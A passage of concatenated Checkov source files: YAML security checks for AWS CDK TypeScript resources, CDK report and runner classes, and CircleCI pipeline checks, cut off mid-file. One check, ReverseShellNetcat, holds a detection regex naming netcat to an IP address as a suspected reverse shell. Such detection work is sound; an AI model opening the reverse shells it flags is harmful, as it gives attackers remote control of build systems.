aws-cdk-lib.aws_lambda.CfnFunctionProps - pattern: $X = { } conditions: - not_pattern: | $X = { , deadLetterQueue: , } - metavariable: $X type: aws-cdk-lib.aws_sam.CfnFunctionProps ================================================ FILE: checkov/cdk/checks/typescript/LambdaEnvironmentCredentials.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_45 name: Ensure no hard-coded secrets exist in lambda environment category: SECRETS framework: cdk scope: languages: - typescript definition: or: - patterns: or: - pattern: | new $PACKAGE.aws_lambda.Function( ,, { , environment: { $ARG1:'$ARG2' }, }) - pattern: | new $PACKAGE.aws_lambda.CfnFunction( ,, { , environment: { , variables: { $ARG1:'$ARG2'}, }, }) - pattern: | new $PACKAGE.aws_sam.CfnFunction( ,, { , environment: { , variables: { $ARG1:'$ARG2'}, }, }) conditions: - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: | $X = { , environment: { $ARG1:'$ARG2' }, } conditions: - metavariable: $X type: aws-cdk-lib.aws_lambda.FunctionProps - pattern: | $X = { , environment: { , variables: { $ARG1:'$ARG2'}, }, } conditions: - metavariable: $X type: aws-cdk-lib.aws_lambda.CfnFunctionProps - pattern: | $X = { , environment: { , variables: { $ARG1:'$ARG2'}, }, } conditions: - metavariable: $X type: aws-cdk-lib.aws_sam.CfnFunctionProps ================================================ FILE: checkov/cdk/checks/typescript/LambdaEnvironmentEncryptionSettings.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_173 name: Check encryption settings for Lambda environmental variable category: Encryption framework: cdk scope: languages: - typescript definition: or: - pattern: | new $PACKAGE.aws_lambda.Function(, , { , environment: { , $ARG1:'$ARG2', }, } ) conditions: - not_pattern: | new $PACKAGE.aws_lambda.Function(, , { , environment: { , $ARG1:'$ARG2', }, , environmentEncryption: $KMS, }) - not_pattern: | new $PACKAGE.aws_lambda.Function(, , { , environmentEncryption: $KMS, , environment: { , $ARG1:'$ARG2', }, }) - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: | new $PACKAGE.aws_lambda.CfnFunction(, , { , environment: { , variables: { , $ARG1:'$ARG2', }, }, }) conditions: - not_pattern: | new $PACKAGE.aws_lambda.CfnFunction(, , { , environment: { , variables: { $ARG1:'$ARG2' }, }, , kmsKeyArn: $KMS, }) - not_pattern: | new $PACKAGE.aws_lambda.CfnFunction(, , { , kmsKeyArn: $KMS, , environment: { , variables: { , $ARG1:'$ARG2', }, }) - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: | new $PACKAGE.aws_sam.CfnFunction(, , { , environment: { , variables: { $ARG1:'$ARG2'}, }, }) conditions: - not_pattern: | new $PACKAGE.aws_sam.CfnFunction(, , { , environment: { , variables: { $ARG1:'$ARG2'}, , kmsKeyArn: $KMS, }, }) - not_pattern: | new $PACKAGE.aws_sam.CfnFunction(, , { , kmsKeyArn: $KMS, , environment: { , variables: { , $ARG1:'$ARG2', }, }) - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: | $X = { , environment: { $ARG1:'$ARG2' }, } conditions: - not_pattern: | $X = { , environment: { , $ARG1:'$ARG2', }, , environmentEncryption: $KMS, } - not_pattern: | $X = { , environmentEncryption: $KMS, , environment: { , $ARG1:'$ARG2', }, } - metavariable: $X type: aws-cdk-lib.aws_lambda.FunctionProps - pattern: | $X = { , environment: { , variables: { , $ARG1:'$ARG2', }, }, } conditions: - not_pattern: | $X = { , environment: { , variables: { , $ARG1:'$ARG2', }, }, , kmsKeyArn: $KMS, } - not_pattern: | $X = { , kmsKeyArn: $KMS, , environment: { , variables: { , $ARG1:'$ARG2', }, }, } - metavariable: $X type: aws-cdk-lib.aws_lambda.CfnFunctionProps - pattern: | $X = { , environment: { , variables: { , $ARG1:'$ARG2', }, }, } conditions: - not_pattern: | $X = { , environment: { , variables: { , $ARG1:'$ARG2', }, , kmsKeyArn: $KMS, }, } - not_pattern: | $X = { , kmsKeyArn: $KMS, , environment: { , variables: { , $ARG1:'$ARG2', }, }, } - metavariable: $X type: aws-cdk-lib.aws_sam.CfnFunctionProps ================================================ FILE: checkov/cdk/checks/typescript/LambdaFunctionLevelConcurrentExecutionLimit.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_115 name: Ensure that AWS Lambda function is configured for function-level concurrent execution limit category: GENERAL_SECURITY framework: cdk scope: languages: - typescript definition: or: - pattern: new $PACKAGE.aws_lambda.Function(, , { }) conditions: - not_pattern: | new $PACKAGE.aws_lambda.Function(, , { , reservedConcurrentExecutions: $NUM, }, ) - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: new $PACKAGE.aws_lambda.CfnFunction(, , { }) conditions: - not_pattern: | new $PACKAGE.aws_lambda.CfnFunction(, , { , "reservedConcurrentExecutions": $NUM, }, ) - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: new $PACKAGE.aws_sam.CfnFunction(, , { }) conditions: - not_pattern: | new $PACKAGE.aws_sam.CfnFunction(, , { , reservedConcurrentExecutions: $NUM, }, ) - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: | $X = { } conditions: - metavariable: $X type: aws-cdk-lib.aws_lambda.FunctionProps - not_pattern: | $X = { , reservedConcurrentExecutions: $NUM, } - pattern: | $X = { } conditions: - metavariable: $X type: aws-cdk-lib.aws_lambda.CfnFunctionProps - not_pattern: | $X = { , reservedConcurrentExecutions: $NUM, } - pattern: | $X = { } conditions: - metavariable: $X type: aws-cdk-lib.aws_sam.CfnFunctionProps - not_pattern: | $X = { , reservedConcurrentExecutions: $NUM, } ================================================ FILE: checkov/cdk/checks/typescript/LambdaInVPC.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_117 name: Ensure that AWS Lambda function is configured inside a VPC category: GENERAL_SECURITY framework: cdk scope: languages: - typescript definition: or: - pattern: new $PACKAGE.aws_lambda.Function(, , { }) conditions: - not_pattern: | new $PACKAGE.aws_lambda.Function(, , { , vpc: , } ) - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: new $PACKAGE.aws_lambda.CfnFunction(, , { }) conditions: - not_pattern: | new $PACKAGE.aws_lambda.CfnFunction(, , { , vpcConfig: , } ) - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: new $PACKAGE.aws_sam.CfnFunction(, , { }) conditions: - not_pattern: | new $PACKAGE.aws_sam.CfnFunction(, , { , vpcConfig: , } ) - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: | $X = { } conditions: - metavariable: $X type: aws-cdk-lib.aws_lambda.FunctionProps - not_pattern: | $X = { , vpc: , } - pattern: | $X = { } conditions: - metavariable: $X type: aws-cdk-lib.aws_lambda.CfnFunctionProps - not_pattern: | $X = { , vpcConfig: , } - pattern: | $X = { } conditions: - metavariable: $X type: aws-cdk-lib.aws_sam.CfnFunctionProps - not_pattern: | $X = { , vpcConfig: , } ================================================ FILE: checkov/cdk/checks/typescript/LaunchConfigurationEBSEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_8 name: Ensure all data stored in the Launch configuration EBS is securely encrypted category: ENCRYPTION framework: cdk scope: languages: - typescript definition: or: - pattern: | new $PACKAGE.aws_autoscaling.CfnLaunchConfiguration(, , { , blockDeviceMappings: [, { , 'ebs':{ , 'encrypted': false, }, } ,], }) conditions: - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: | $X = { , blockDeviceMappings: [, { , 'ebs':{ , 'encrypted': false, }, } ,], } conditions: - metavariable: $X type: aws-cdk-lib.aws_autoscaling.CfnLaunchConfigurationProps ================================================ FILE: checkov/cdk/checks/typescript/NeptuneClusterStorageEncrypted.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_44 name: Ensure Neptune storage is securely encrypted category: ENCRYPTION framework: cdk scope: languages: - typescript definition: or: - pattern: new $PACKAGE.aws_neptune.CfnDBCluster(, , { }) conditions: - not_pattern: | new $PACKAGE.aws_neptune.CfnDBCluster(, , { , storageEncrypted: true, }) - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" - pattern: | $X = { } conditions: - metavariable: $X type: aws-cdk-lib.aws_neptune.CfnDBClusterProps - not_pattern: | $X = { , storageEncrypted: true, } ================================================ FILE: checkov/cdk/checks/typescript/RDSEnhancedMonitorEnabled.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_118 name: Ensure that enhanced monitoring is enabled for Amazon RDS instances category: LOGGING framework: cdk scope: languages: - typescript definition: pattern: new $PACKAGE.aws_rds.DatabaseInstance(, , { }) conditions: - not_pattern: | new $PACKAGE.aws_rds.DatabaseInstance(, , { , monitoringInterval: $COUNT, }) - metavariable: $COUNT # bug: should perform with not_pattern and not after BCE-33034 comparison: $COUNT > 0 - metavariable: $PACKAGE comparison: $PACKAGE == "aws-cdk-lib" ================================================ FILE: checkov/cdk/checks/typescript/RDSMultiAZEnabled.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_157 name: Ensure that RDS instances have Multi-AZ enabled category: NETWORKING framework: cdk scope: languages: - javascript - typescript definition: or: - pattern: new $FUNC() conditions: - metavariable: $FUNC regex: (?i)(CfnDBInstance|DatabaseInstance) - not_pattern: | 'new $FUNC(, multiAZ: true ,)' - pattern: new $RDS.$FUNC() conditions: - metavariable: $FUNC regex: (?i)(CfnDBInstance|DatabaseInstance) - not_pattern: | 'new $RDS.$FUNC(, multiAZ: true ,)' ================================================ FILE: checkov/cdk/checks/typescript/RDSPubliclyAccessible.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_17 name: Ensure all data stored in RDS is not publicly accessible category: NETWORKING framework: cdk scope: languages: - javascript - typescript definition: or: - pattern: new $FUNC() conditions: - metavariable: $FUNC regex: (?i)(CfnDBInstance|DatabaseInstance) - not_pattern: | 'new $FUNC(, publicly_accessible: true ,)' - pattern: new $RDS.$FUNC() conditions: - metavariable: $FUNC regex: (?i)(CfnDBInstance|DatabaseInstance) - not_pattern: | 'new $RDS.$FUNC(, publicly_accessible: true ,)' ================================================ FILE: checkov/cdk/checks/typescript/RedShiftSSL.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_105 name: Ensure Redshift uses SSL category: ENCRYPTION framework: cdk scope: languages: - javascript - typescript definition: or: - pattern: new $REDSHIFT.CfnClusterParameterGroup() conditions: - not_pattern: | new $REDSHIFT.CfnClusterParameterGroup(, {, parameters: [, {, parameterName: 'require_ssl' ,, parameterValue: 'true', } ,], }, ) - not_pattern: | new $REDSHIFT.CfnClusterParameterGroup(, {, parameters: [, {, parameterValue: 'true', , parameterName: 'require_ssl' ,} ,], }, ) ================================================ FILE: checkov/cdk/checks/typescript/RedshiftClusterEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_64 name: Ensure all data stored in the Redshift cluster is securely encrypted at rest category: ENCRYPTION framework: cdk scope: languages: - javascript - typescript definition: patterns: or: - pattern: new $REDSHIFT.CfnCluster() conditions: - not_pattern: | new $REDSHIFT.CfnCluster(, {, encrypted: true, } ,) - pattern: new $REDSHIFT.Cluster() conditions: - not_pattern: | new $REDSHIFT.Cluster(, {, encrypted: true, } ,) - pattern: new CfnCluster() conditions: - not_pattern: | new CfnCluster(, {, encrypted: true, } ,) - pattern: new Cluster() conditions: - not_pattern: | new Cluster(, {, encrypted: true, } ,) ================================================ FILE: checkov/cdk/checks/typescript/RedshiftClusterLogging.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_71 name: Ensure Redshift Cluster logging is enabled category: LOGGING framework: cdk scope: languages: - javascript - typescript definition: or: - pattern: new $FUNC() conditions: - metavariable: $FUNC regex: (?i)(CfnCluster|Cluster|ClusterProps) - not_pattern: | 'new $FUNC(, logging_properties: $FUNC.LoggingPropertiesProperty = {, bucketName:$ARG, } ,)' - pattern: new $REDSHIFT.$FUNC() conditions: - metavariable: $FUNC regex: (?i)(CfnCluster|Cluster|ClusterProps) - not_pattern: | 'new $REDSHIFT.$FUNC(, logging_properties: $REDSHIFT.$FUNC.LoggingPropertiesProperty = {, bucketName:$ARG, } ,)' ================================================ FILE: checkov/cdk/checks/typescript/RedshiftClusterPubliclyAccessible.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_87 name: Redshift cluster should not be publicly accessible category: NETWORKING framework: cdk scope: languages: - javascript - typescript definition: patterns: or: - pattern: | new $REDSHIFT.CfnCluster(, {, publiclyAccessible: true, } ,) - pattern: | new $REDSHIFT.Cluster(, {, publiclyAccessible: true, } ,) - pattern: | new CfnCluster(, {, publiclyAccessible: true, } ,) - pattern: | new Cluster(, {, publiclyAccessible: true, } ,) ================================================ FILE: checkov/cdk/checks/typescript/RedshiftInEc2ClassicMode.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_154 name: Ensure Redshift is not deployed outside of a VPC category: NETWORKING framework: cdk scope: languages: - javascript - typescript definition: or: - pattern: new $FUNC() conditions: - metavariable: $FUNC regex: (?i)(CfnCluster|Cluster|ClusterProps) - not_pattern: | 'new $FUNC(, clusterSubnetGroupName: $ARG ,)' - pattern: new $REDSHIFT.$FUNC() conditions: - metavariable: $FUNC regex: (?i)(CfnCluster|Cluster|ClusterProps) - not_pattern: | 'new $REDSHIFT.$FUNC(, clusterSubnetGroupName: $ARG ,)' ================================================ FILE: checkov/cdk/checks/typescript/S3BlockPublicACLs.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_53 name: Ensure S3 bucket has block public ACLS enabled category: GENERAL_SECURITY framework: cdk scope: languages: - javascript - typescript definition: patterns: or: - pattern: new $S3.Bucket() conditions: - not_pattern: | new $S3.Bucket(, { , blockPublicAccess: $S3.BlockPublicAccess.BLOCK_ACLS , } ,) - not_pattern: | new $S3.Bucket(, { , blockPublicAccess: $S3.BlockPublicAccess.BLOCK_ALL , } ,) - pattern: new Bucket() conditions: - not_pattern: | new Bucket(, { , blockPublicAccess: BlockPublicAccess.BLOCK_ACLS , } ,) - not_pattern: | new Bucket(, { , blockPublicAccess: BlockPublicAccess.BLOCK_ALL , } ,) ================================================ FILE: checkov/cdk/checks/typescript/S3BlockPublicPolicy.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_54 name: Ensure S3 bucket has block public policy enabled category: GENERAL_SECURITY framework: cdk scope: languages: - javascript - typescript definition: or: - pattern: new $FUNC() conditions: - metavariable: $FUNC regex: (?i)(Bucket|CfnBucket) - patterns: or: - not_pattern: | 'new $FUNC(, publicReadAccess: false ,)' - not_pattern: | "new $FUNC(, accessControl: 'Private' ,)" - pattern: new $S3.$FUNC() conditions: - metavariable: $FUNC regex: (?i)(Bucket|CfnBucket) - patterns: or: - not_pattern: | 'new $S3.$FUNC(, publicReadAccess: false ,)' - not_pattern: | "new $S3.$FUNC(, accessControl: 'Private' ,)" ================================================ FILE: checkov/cdk/checks/typescript/S3BucketEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_19 name: Ensure all data stored in the S3 bucket is securely encrypted at rest category: ENCRYPTION framework: cdk scope: languages: - typescript definition: pattern: new $AWS.$FUNC() conditions: - metavariable: $FUNC regex: (?i)(Bucket|CfnBucket) - not_pattern: | new $AWS.$FUNC(, { , encryption: $AWS.BucketEncryption.KMS_MANAGED, } ,) - not_pattern: | new $AWS.$FUNC(, { , encryption: $AWS.BucketEncryption.S3_MANAGED, } ,) - not_pattern: | new $AWS.$FUNC(, { , encryption: $AWS.BucketEncryption.KMS, } ,) - not_pattern: | new $AWS.$FUNC(, { , encryption: BucketEncryption.KMS_MANAGED, } ,) - not_pattern: | new $AWS.$FUNC(, { , encryption: BucketEncryption.S3_MANAGED, } ,) - not_pattern: | new $AWS.$FUNC(, { , encryption: BucketEncryption.KMS, } ,) ================================================ FILE: checkov/cdk/checks/typescript/S3BucketKMSEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_145 name: Ensure that S3 buckets are encrypted with KMS by default category: ENCRYPTION framework: cdk scope: languages: - typescript definition: pattern: new $AWS.$FUNC() conditions: - metavariable: $FUNC regex: (?i)(Bucket|CfnBucket) - not_pattern: | new $AWS.$FUNC(, { , encryption: $AWS.BucketEncryption.KMS_MANAGED, } ,) - not_pattern: | new $AWS.$FUNC(, { , encryption: $AWS.BucketEncryption.KMS, } ,) - not_pattern: | new $AWS.$FUNC(, { , encryption: BucketEncryption.KMS_MANAGED, } ,) - not_pattern: | new $AWS.$FUNC(, { , encryption: BucketEncryption.KMS, } ,) ================================================ FILE: checkov/cdk/checks/typescript/S3BucketLogging.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_18 name: Ensure the S3 bucket has access logging enabled category: LOGGING framework: cdk scope: languages: - typescript definition: pattern: new $AWS.$FUNC() conditions: - metavariable: $FUNC regex: (Bucket|CfnBucket) - not_pattern: | new $AWS.$FUNC(, { , serverAccessLogsBucket: , } ,) ================================================ FILE: checkov/cdk/checks/typescript/S3BucketPublicAccessBlock.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV2_AWS_6 name: Ensure that S3 bucket has a Public Access block category: NETWORKING framework: cdk scope: languages: - typescript definition: pattern: new $S3.$FUNC() conditions: - metavariable: $FUNC regex: (?i)(Bucket|CfnBucket) - not_pattern: | new $S3.$FUNC(, { , blockPublicAccess: , } ,) ================================================ FILE: checkov/cdk/checks/typescript/S3BucketVersioning.yaml ================================================ metadata: version: 0.2 id: CKV_AWS_21 name: Ensure all data stored in the S3 bucket have versioning enabled category: BACKUP_AND_RECOVERY framework: cdk scope: languages: - javascript - typescript definition: or: - pattern: new $FUNC() conditions: - metavariable: $FUNC regex: (?i)(Bucket|CfnBucket) - not_pattern: | 'new $FUNC(, versioned: true ,)' - pattern: new $S3.$FUNC() conditions: - metavariable: $FUNC regex: (?i)(Bucket|CfnBucket) - not_pattern: | 'new $S3.$FUNC(, versioned: true ,)' ================================================ FILE: checkov/cdk/checks/typescript/S3PublicACLRead.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_20 name: Ensure the S3 bucket does not allow READ permissions to everyone category: GENERAL_SECURITY framework: cdk scope: languages: - typescript definition: or: - pattern: | new $AWS.Bucket(, {, accessControl: $ARG, }, ) conditions: or: - metavariable: $ARG pattern: $AWS.BucketAccessControl.PUBLIC_READ - metavariable: $ARG pattern: $AWS.BucketAccessControl.PUBLIC_READ_WRITE - pattern: | new $AWS.Bucket(, { , publicReadAccess: true, }, ) ================================================ FILE: checkov/cdk/checks/typescript/S3RestrictPublicBuckets.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_56 name: Ensure S3 bucket has 'restrict_public_buckets' enabled category: GENERAL_SECURITY framework: cdk scope: languages: - typescript definition: patterns: or: - pattern: new $AWS.Bucket() conditions: - not_pattern: | new $AWS.Bucket(, { , blockPublicAccess: s3.BlockPublicAccess.BLOCK_ALL, } ,) - pattern: new $AWS.CfnBucket() conditions: - not_pattern: | new $AWS.CfnBucket(, {, publicAccessBlockConfiguration: {, restrictPublicBuckets: true ,}, } , ) ================================================ FILE: checkov/cdk/checks/typescript/SNSTopicEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_26 name: Ensure all data stored in the SNS topic is encrypted category: Encryption framework: cdk scope: languages: - typescript definition: pattern: new $AWS.Topic() conditions: - not_pattern: | new $AWS.Topic(, {, masterKey: $ARG , }, ) ================================================ FILE: checkov/cdk/checks/typescript/SQSQueueEncryption.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_27 name: Ensure all data stored in the SQS queue is encrypted category: ENCRYPTION framework: cdk scope: languages: - typescript definition: patterns: or: - pattern: new $AWS.Queue() conditions: - not_pattern: | new $AWS.Queue(, {, encryptionMasterKey: $KEY, }, ) - pattern: new $AWS.CfnQueue() conditions: - not_pattern: | new $AWS.CfnQueue(, {, kmsMasterKeyId: $KEY, }, ) ================================================ FILE: checkov/cdk/checks/typescript/SecretManagerSecretEncrypted.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_149 name: Ensure that Secrets Manager secret is encrypted using KMS CMK category: ENCRYPTION framework: cdk scope: languages: - typescript definition: patterns: or: - pattern: new $AWS.Secret() conditions: - not_pattern: | new $AWS.Secret(, {, encryptionKey: $KEY ,}, ) - pattern: | new $AWS.Secret(, { , encryptionKey: $ARG2, } , ) conditions: - metavariable: $ARG2 regex: (aws/) ================================================ FILE: checkov/cdk/checks/typescript/SecurityGroupRuleDescription.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_23 name: Ensure every security groups rule has a description category: NETWORKING framework: cdk scope: languages: - typescript definition: patterns: or: - pattern: | new $AWS.CfnSecurityGroup(, {, securityGroupEgress: [] ,}, ) conditions: - not_pattern: | new $AWS.CfnSecurityGroup(, {, securityGroupEgress: [, {,description: 'True', }, ] ,}, ) - pattern: | new $AWS.CfnSecurityGroup(, {, securityGroupIngress: [] ,}, ) conditions: - not_pattern: | new $AWS.CfnSecurityGroup(, {, securityGroupIngress: [, {,description: 'True', }, ] ,}, ) - pattern: new $AWS.CfnSecurityGroupIngress() conditions: - not_pattern: | new $AWS.CfnSecurityGroupIngress(, {, description: $ARG, } ,) - pattern: new $AWS.CfnSecurityGroupEgress() conditions: - not_pattern: | new $AWS.CfnSecurityGroupEgress(, {, description: $ARG, } ,) ================================================ FILE: checkov/cdk/checks/typescript/TransferServerIsPublic.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_164 name: Ensure Transfer Server is not exposed publicly. category: GENERAL_SECURITY framework: cdk scope: languages: - typescript definition: pattern: new $AWS.CfnServer() conditions: - not_pattern: | new $AWS.CfnServer(, {, endpointType: 'VPC', }, ) - not_pattern: | new $AWS.CfnServer(, {, endpointType: 'VPC_ENDPOINT', }, ) ================================================ FILE: checkov/cdk/checks/typescript/VPCEndpointAcceptanceConfigured.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_123 name: Ensure that VPC Endpoint Service is configured for Manual Acceptance category: NETWORKING framework: cdk scope: languages: - typescript definition: pattern: new $AWS.CfnVPCEndpointService() conditions: - not_pattern: | new $AWS.CfnVPCEndpointService(, {, acceptanceRequired: true, } ,) ================================================ FILE: checkov/cdk/checks/typescript/WAFEnabled.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_68 name: CloudFront Distribution should have WAF enabled category: ENCRYPTION framework: cdk scope: languages: - typescript definition: pattern: new $AWS.CfnDistribution() conditions: - not_pattern: | new $AWS.CfnDistribution(, {, distributionConfig: {, webAclId: $ARG, }, } , ) ================================================ FILE: checkov/cdk/checks/typescript/WorkspaceRootVolumeEncrypted.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_156 name: Ensure that Workspace root volumes are encrypted category: ENCRYPTION framework: cdk scope: languages: - typescript definition: pattern: new $AWS.CfnWorkspace() conditions: - not_pattern: | new $AWS.CfnWorkspace(, {, rootVolumeEncryptionEnabled: true, } , ) ================================================ FILE: checkov/cdk/checks/typescript/WorkspaceUserVolumeEncrypted.yaml ================================================ metadata: version: 0.2 approach: define failing id: CKV_AWS_155 name: Ensure that Workspace user volumes are encrypted category: ENCRYPTION framework: cdk scope: languages: - typescript definition: pattern: new $AWS.CfnWorkspace() conditions: - not_pattern: | new $AWS.CfnWorkspace(, {, userVolumeEncryptionEnabled: true, } , ) ================================================ FILE: checkov/cdk/checks_infra/__init__.py ================================================ ================================================ FILE: checkov/cdk/checks_infra/base_registry.py ================================================ from __future__ import annotations from checkov.common.bridgecrew.check_type import CheckType from checkov.sast.checks_infra.base_registry import Registry class BaseCdkRegistry(Registry): def __init__(self, checks_dir: str) -> None: super().__init__(checks_dir=checks_dir) self.report_type = CheckType.CDK ================================================ FILE: checkov/cdk/report.py ================================================ from typing import Dict, Union, List, Optional from checkov.common.output.report import Report from checkov.common.sast.consts import POLICIES_ERRORS, POLICIES_ERRORS_COUNT, SOURCE_FILES_COUNT, POLICY_COUNT, SastLanguages from checkov.common.sast.report_types import PrismaReport class CDKReport(Report): def __init__(self, check_type: str, metadata: Dict[str, Optional[Union[str, int, List[str]]]], language: SastLanguages, cdk_report: PrismaReport): super().__init__(check_type) self.metadata = metadata self.language: SastLanguages = language self.cdk_report: PrismaReport = cdk_report # In case we dont have sast report for this lang self.empty_sast_report: PrismaReport = PrismaReport(rule_match={language: {}}, profiler={}, errors={}, run_metadata={}, imports={}, reachability_report={}, skipped_checks_by_file={}) def get_summary(self) -> Dict[str, Union[int, str]]: base_summary: Dict[str, Union[int, str]] = super().get_summary() err_str = "" policies_errors_count = 0 policies_errors = self.metadata.get(POLICIES_ERRORS) if isinstance(policies_errors, list) and policies_errors: policies_errors_count = len(policies_errors) for e in policies_errors: err_str += f"\t- {e}\n" base_summary[POLICIES_ERRORS] = err_str base_summary[POLICIES_ERRORS_COUNT] = policies_errors_count source_files_count = self.metadata.get(SOURCE_FILES_COUNT) if isinstance(source_files_count, int) or isinstance(source_files_count, str): base_summary[SOURCE_FILES_COUNT] = str(source_files_count) policy_count = self.metadata.get(POLICY_COUNT) if isinstance(policy_count, int) or isinstance(policy_count, str): base_summary[POLICY_COUNT] = policy_count return base_summary ================================================ FILE: checkov/cdk/runner.py ================================================ from __future__ import annotations import logging from pathlib import Path from checkov.cdk.checks_infra.base_registry import BaseCdkRegistry from checkov.common.bridgecrew.check_type import CheckType from checkov.common.output.report import Report from checkov.common.sast.consts import CDKLanguages from checkov.sast.runner import Runner as SastRunner from checkov.runner_filter import RunnerFilter logger = logging.getLogger(__name__) CHECKS_DIR_PATH = Path(__file__).parent / "checks" class CdkRunner(SastRunner): check_type = CheckType.CDK # noqa: CCE003 # a static attribute def __init__(self,) -> None: super().__init__() self.registry = BaseCdkRegistry(checks_dir=str(CHECKS_DIR_PATH)) def run( self, root_folder: str | None = None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True, ) -> list[Report]: runner_filter = runner_filter or RunnerFilter() runner_filter.remove_default_sast_policies = True for lang in CDKLanguages.set(): self.cdk_langs.append(lang) reports = super().run( root_folder=root_folder, external_checks_dir=external_checks_dir, files=files, runner_filter=runner_filter, collect_skip_comments=collect_skip_comments, ) reports_to_keep = [] for report in reports: if report.check_type.startswith('cdk'): reports_to_keep.append(report) return reports_to_keep ================================================ FILE: checkov/circleci_pipelines/__init__.py ================================================ from checkov.circleci_pipelines.checks import * # noqa ================================================ FILE: checkov/circleci_pipelines/base_circleci_pipelines_check.py ================================================ from __future__ import annotations from abc import abstractmethod from typing import Iterable, TYPE_CHECKING, Any from checkov.common.checks.base_check import BaseCheck from checkov.common.models.enums import CheckCategories from checkov.circleci_pipelines.registry import registry if TYPE_CHECKING: from checkov.common.models.enums import CheckResult class BaseCircleCIPipelinesCheck(BaseCheck): def __init__( self, name: str, id: str, supported_entities: Iterable[str], block_type: str, path: str | None = None, ) -> None: categories = [CheckCategories.SUPPLY_CHAIN] super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type=block_type, ) self.path = path registry.register(self) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: self.entity_type = entity_type return self.scan_conf(conf) @abstractmethod def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: pass ================================================ FILE: checkov/circleci_pipelines/checks/DetectImagesUsage.py ================================================ from __future__ import annotations from typing import Any from checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck from checkov.common.models.enums import CheckResult from checkov.yaml_doc.enums import BlockType class DetectImageUsage(BaseCircleCIPipelinesCheck): def __init__(self) -> None: name = "Detecting image usages in circleci pipelines" id = "CKV_CIRCLECIPIPELINES_8" super().__init__( name=name, id=id, block_type=BlockType.ARRAY, supported_entities=( "executors.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}", "jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}", ) ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: return CheckResult.PASSED, conf check = DetectImageUsage() ================================================ FILE: checkov/circleci_pipelines/checks/ReverseShellNetcat.py ================================================ from __future__ import annotations from typing import Any from checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck from checkov.common.models.enums import CheckResult from checkov.yaml_doc.enums import BlockType import re NETCAT_PATTERN = re.compile(r"(nc|netcat) (\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})") class ReverseShellNetcat(BaseCircleCIPipelinesCheck): def __init__(self) -> None: name = "Suspicious use of netcat with IP address" id = "CKV_CIRCLECIPIPELINES_5" super().__init__( name=name, id=id, block_type=BlockType.ARRAY, supported_entities=['jobs.*.steps[]'] ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: if not isinstance(conf, dict): return CheckResult.UNKNOWN, conf if "run" not in conf: return CheckResult.PASSED, conf run = conf.get("run", "") if isinstance(run, dict): command = run.get("command", "") if re.search(NETCAT_PATTERN, command): return CheckResult.FAILED, conf else: if re.search(NETCAT_PATTERN, run): return CheckResult.FAILED, conf return CheckResult.PASSED, conf check = ReverseShellNetcat() ================================================ FILE: checkov/circleci_pipelines/checks/ShellInjection.py ================================================ from __future__ import annotations from typing import Any from checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck from checkov.circleci_pipelines.common.shell_injection_list import terms as bad_inputs from checkov.common.models.enums import CheckResult from checkov.yaml_doc.enums import BlockType import re class 